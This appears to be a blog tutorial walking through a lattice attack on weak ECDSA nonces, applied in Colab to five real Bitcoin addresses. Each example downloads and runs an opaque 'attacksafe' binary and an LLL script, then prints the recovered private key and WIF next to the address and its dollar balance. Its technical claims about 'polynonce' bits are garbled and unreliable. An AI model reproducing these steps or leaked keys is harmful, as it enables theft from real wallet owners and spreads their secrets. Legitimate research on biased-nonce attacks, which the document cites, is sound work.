In our earliest work, we published an article on the topic “LATTICE ATTACK” as a complete solution to the HNP [Hidden Number Problem] , but with the recent emergence of a new attack “POLYNONCE ATTACK” , we decided to supplement the article using 79 signatures ECDSA
.
Based on the previous article, where we took the polynomial 128 bits
and with the actual increase in the number of signatures, we will bring the value of the polynomial to 249 bits
.
All we need is to solve the problem of hidden numbers.
In this article, we will analyze five independent examples of cryptanalysis of the Bitcoin blockchain. All examples will be uploaded to the GitHub repository .
For a theoretical basis, we will take materials:
“Lattice Attack on Bitcoin”
Consider an example with a Bitcoin Address:
19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
6a941396b28a72ac834d922165995e6685a760f884dbb9e8b6dea95b01f0aae8
RawTX
"hex": 010000000afa0765dc83c2e04b53a03ad9f5e7603f974c5a70e7a486bc957e72809facab7b2d0000006a4730440220746bd0443317a77c069bddae306dc658ec740bb1a6312bdcb4ce666bae42e988022066c34dd48f0e34ae4aefd28564f46fb7473d0b49d55adb716b9f04e663d0a9890121033ee89b98b1d6e71285314e1d1c753003a7a80c17f46146a91077006c76e25e7affffffff................................
Let’s go to the official website: https://colab.research.google.com
Select the option “Upload notebook”
Download the file: LATTICE_ATTACK_249bits.ipynb
Download
HEX
the data through the utilitywget
and save it to a file: RawTX.txt
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example1/HEX.txt
Let’s run the code and get the bits we need
RawTX
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
To implement the attack, we will use the software
Access rights:
!chmod +x attacksafe
ls
Application:
!./attacksafe -help
-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode
!./attacksafe -version
Version 5.3.4. [ATTACKSAFE SOFTWARE, © 2023]
"ATTACKSAFE SOFTWARE"
includes all popular attacks on Bitcoin.
Let’s run a list of all attacks:
!./attacksafe -list
Let’s choose -tool: lattice_attack
To get a specific
HEX
valueR,S,Z
for the signatureECDSA
, we previously added dataRawTX
through the utilityecho
to a text document and saved it as a fileRawTX.txt
Launch -tool lattice_attack
using software “ATTACKSAFE SOFTWARE”
!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv
We launched this attack from -tool lattice_attack
and the result was saved to a file SignatureRSZ.csv
Now to see the successful result, open the file SignatureRSZ.csv
In order to calculate the private key to a Bitcoin Wallet from a file, SignatureRSZ.csv
we will install SageMath
Earlier we published an article , download
tar-file
: sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!wget https://cryptodeeptools.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
Let’s go through the directory:
cd SageMath/
ls
Run relocate-once.py with the command:
Python-script:
!python3 relocate-once.py
Move
"AttackSafe"
to"SignatureRSZ.csv"
folder"SageMath"
!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'
ls
Download the script crack_weak_ECDSA_nonces_with_LLL.py from Dario Clavijo through the utility
wget
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/crack_weak_ECDSA_nonces_with_LLL.py
Now let’s run
SageMath
the command:
!./sage -sh
To calculate the private key to the Bitcoin Wallet, run the script crack_weak_ECDSA_nonces_with_LLL.py specifying the parameters
249 bits 79 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt
Let’s open the file:
PrivateKey.txt
We received the private key to the Bitcoin Wallet in HEX
the format
PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941
Check POLYNONCE for each ECDSA signature
To do this, use the code from GITHUB
Result:
We got 79 identical original bits from
249
Thanks to the value on the secp256k1 curve from Hal Finney, LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCE
in the format HEX
allows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.
Let’s check the HEX of the private key:
Install the module
bitcoin
!pip3 install bitcoin
Let’s run the code:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
Let’s open the file:
PrivateKeyAddr.txt
Let’s open bitaddress and check:
ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
WIF: L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB
HEX: 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941
https://www.blockchain.com/en/explorer/addresses/btc/19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
BALANCE: $ 1015.58
Let’s look at other examples:
№2
Consider example #2 with a Bitcoin Address:
1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z
9130c5b8e92f37d3a58dcae16daa27625cc52b698a83af7c8b891f01bfa0b2af
RawTX
"hex": 0100000041e981df9d37a7af6f5ee77abade3ec58acbf864f942bdecb63ea2efa593e2c3391f0000006b4830450221009d8ceef05e2fa0a623811df57265a3678f902e81dc82c3862d12bbb07b90de18022036bbed961b4f8665eb3fb3047a1398a1aeae519a8e2a1a97de57863fc0cc4a380121029755a17bf76237cde9e05fc333a255b926d526a7763abe725a4f6253ebdae109ffffffff..............................
Let’s remove the files from the first example:
!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
Download
HEX
the data through the utilitywget
and save it to a file: RawTX.txt
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example2/HEX.txt
Let’s run the code and get the bits we need
RawTX
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Launch -tool lattice_attack
using software “ATTACKSAFE SOFTWARE”
!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv
We launched this attack from -tool lattice_attack
and the result was saved to a file SignatureRSZ.csv
Now to see the successful result, open the file SignatureRSZ.csv
Let’s run
SageMath
the command:
!./sage -sh
To calculate the private key to the Bitcoin Wallet, run the script crack_weak_ECDSA_nonces_with_LLL.py specifying the parameters
249 bits 79 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt
Let’s open the file:
PrivateKey.txt
We received the private key to the Bitcoin Wallet in HEX
the format
PrivKey = 0x00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d
Check POLYNONCE for each ECDSA signature
To do this, use the code from GITHUB
Result:
We got 79 identical original bits from
249
Thanks to the value on the secp256k1 curve from Hal Finney, LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCE
in the format HEX
allows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.
Let’s check the HEX of the private key:
Let’s run the code:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
Let’s open the file:
PrivateKeyAddr.txt
Let’s open bitaddress and check:
ADDR: 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z
WIF: KwFNhRPDpgD5X77T8x5oL628aHh9UtscwwrLjGBKE8NeLshYvAqC
HEX: 00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d
https://www.blockchain.com/en/explorer/addresses/btc/1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z
BALANCE: $ 999.10
Let’s look at other examples:
№3
Consider example #3 with a Bitcoin Address:
18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz
0b21368bb6e6658adf4079b5ca6e7286c6e13471acef879168e7c17809476c76
RawTX
"hex": 0100000041c7a8d97168ee154550f5e43b9074e5f357a4dc6b2350c96f75e377df0a39b9fa210000006b48304502210097d6b896929d77634b8d9430bc2842209cad42bb236c408e18470b9fd86b3d6a0220684ac14228c4adaa9df819e7fc8e82cf3c4242b74e27f5dd190d63231e8a058a012102990a280aef14e545b9b076b6548a4e886476d967e447bb69efcf0b725efda04effffffff..............................
Let’s remove the files from the second example:
!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
Download
HEX
the data through the utilitywget
and save it to a file: RawTX.txt
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example3/HEX.txt
Let’s run the code and get the bits we need
RawTX
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Launch -tool lattice_attack
using software “ATTACKSAFE SOFTWARE”
!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv
We launched this attack from -tool lattice_attack
and the result was saved to a file SignatureRSZ.csv
Now to see the successful result, open the file SignatureRSZ.csv
Let’s run
SageMath
the command:
!./sage -sh
To calculate the private key to the Bitcoin Wallet, run the script crack_weak_ECDSA_nonces_with_LLL.py specifying the parameters
249 bits 79 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt
Let’s open the file:
PrivateKey.txt
We received the private key to the Bitcoin Wallet in HEX
the format
PrivKey = 0x80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5
Check POLYNONCE for each ECDSA signature
To do this, use the code from GITHUB
Result:
We got 79 identical original bits from
249
Thanks to the value on the secp256k1 curve from Hal Finney, LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCE
in the format HEX
allows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.
Let’s check the HEX of the private key:
Let’s run the code:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
Let’s open the file:
PrivateKeyAddr.txt
Let’s open bitaddress and check:
ADDR: 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz
WIF: L1YFTAP2X6jhi9W6ZVy2xX8H89TYwZcgSKcPLX7NmAx3n8PjqDkU
HEX: 80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5
https://www.blockchain.com/en/explorer/addresses/btc/18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz
BALANCE: $ 1023.25
№4
Consider example #4 with a Bitcoin Address:
12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor
6e6d84bc92cd79fba2d1eee5fb47e393896d44f666a50d4948a022751e3f0989
RawTX
"hex": 01000000418ff67c7d3309211ab9d9629d97bbac7730d3cbb419df4ec43d2c5fc4f81bbefb1b0000006b4830450221008c223861acf1f265547eddb04a7cf98d206643a05824e56e97c70beddd18eaf20220139a34bf077a1fdb15e716d765955203e746616dfe8bf536b86d259b5c8a09b8012103c50b5619a40a23ff6a5510238405b8efd3f8f1bc442e1a415b25078b4cbd88e3ffffffff..............................
Let’s remove the files from the second example:
!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
Download
HEX
-data through the utilityecho
and save to file: RawTX.txt DownloadHEX
-data through the utilitywget
and save to file: RawTX.txt
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example4/HEX.txt
Let’s run the code and get the bits we need
RawTX
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Launch -tool lattice_attack
using software “ATTACKSAFE SOFTWARE”
!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv
We launched this attack from -tool lattice_attack
and the result was saved to a file SignatureRSZ.csv
Now to see the successful result, open the file SignatureRSZ.csv
Let’s run
SageMath
the command:
!./sage -sh
To calculate the private key to the Bitcoin Wallet, run the script crack_weak_ECDSA_nonces_with_LLL.py specifying the parameters
249 bits 79 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt
Let’s open the file:
PrivateKey.txt
We received the private key to the Bitcoin Wallet in HEX
the format
PrivKey = 0x9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32
Check POLYNONCE for each ECDSA signature
To do this, use the code from GITHUB
Result:
We got 79 identical original bits from
249
Thanks to the value on the secp256k1 curve from Hal Finney, LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCE
in the format HEX
allows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.
Let’s check the HEX of the private key:
Let’s run the code:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
Let’s open the file:
PrivateKeyAddr.txt
Let’s open bitaddress and check:
ADDR: 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor
WIF: L2Xbaxg8QFoLn5URp7GKMyLwEN9dV5TtgpdbXYo7WDJsHZLcT898
HEX: 9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32
https://www.blockchain.com/en/explorer/addresses/btc/12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor
BALANCE: $ 406.03
№5
Consider example #5 with a Bitcoin Address:
1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN
8a00ad0cc10d768d6d2b407f99879e556e5fc2917b619cb9a551675b7682a791
RawTX
"hex": "01000000fdf4014f7e4a72ecb9a3ed21a82a42b3127da87bdfee7c10779688dd8a38977cb80ece000000006a4730440220423f7cffadd494fb0148d509e67598b3c8d7f54695ee3830184adc2af234d5cf022005ebe83773bc81c7131fd0580350a998adde20fee6fd2d1da40a0191fea8242c0121027a2250a80a31965e928afff97d1c713e7ce70e6eb7c7491404a79991bfc6b5c1ffffffff...........................
Let’s remove the files from the second example:
!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
Download
HEX
the data through the utilitywget
and save it to a file: RawTX.txt
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example5/HEX.txt
Let’s run the code and get the bits we need
RawTX
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Launch -tool lattice_attack
using software “ATTACKSAFE SOFTWARE”
!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv
We launched this attack from -tool lattice_attack
and the result was saved to a file SignatureRSZ.csv
Now to see the successful result, open the file SignatureRSZ.csv
Let’s run
SageMath
the command:
!./sage -sh
To calculate the private key to the Bitcoin Wallet, run the script crack_weak_ECDSA_nonces_with_LLL.py specifying the parameters
249 bits 79 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt
Let’s open the file:
PrivateKey.txt
We received the private key to the Bitcoin Wallet in HEX
the format
PrivKey = 0xe2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2
Check POLYNONCE for each ECDSA signature
To do this, use the code from GITHUB
Result:
We got 79 identical original bits from
249
Thanks to the value on the secp256k1 curve from Hal Finney, LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCE
in the format HEX
allows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.
Let’s check the HEX of the private key:
Let’s run the code:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
Let’s open the file:
PrivateKeyAddr.txt
Let’s open bitaddress and check:
ADDR: 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN
WIF: L4porgUmuBkMbATA6Pp7r8uqShFt2zTPNEfuPNYi1BCym4hhV8gs
HEX: e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2
https://www.blockchain.com/en/explorer/addresses/btc/1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN
BALANCE: $ 995.39
Literature:
- Biased Nonce Sense: Lattice Attacks against Weak ECDSA Signatures in Cryptocurrencies Joachim Breitner and Nadia Heninger DFINITY Foundation, Zug University of California, San Diego
- Return of the Hidden Number Problem A Widespread and Novel Key Extraction Attack on ECDSA and DSA Keegan Ryan
- Minerva: The curse of ECDSA nonces Systematic analysis of lattice attacks on noisy leakage of bit-length of ECDSA nonces Ján Jančár , Vladimír Sedláček , Petr Švenda and Marek Sýs Masaryk University, Ca’ Foscari University of Venice
- Estimating the Effectiveness of Lattice Attacks Kotaro Abe and Makoto Ikeda School of Engineering, The University of Tokyo, Tokyo, Japan
Telegram: https://t.me/cryptodeeptech
Video: https://youtu.be/CzaHitewN-4
Source: https://cryptodeeptools.ru/lattice-attack-249bits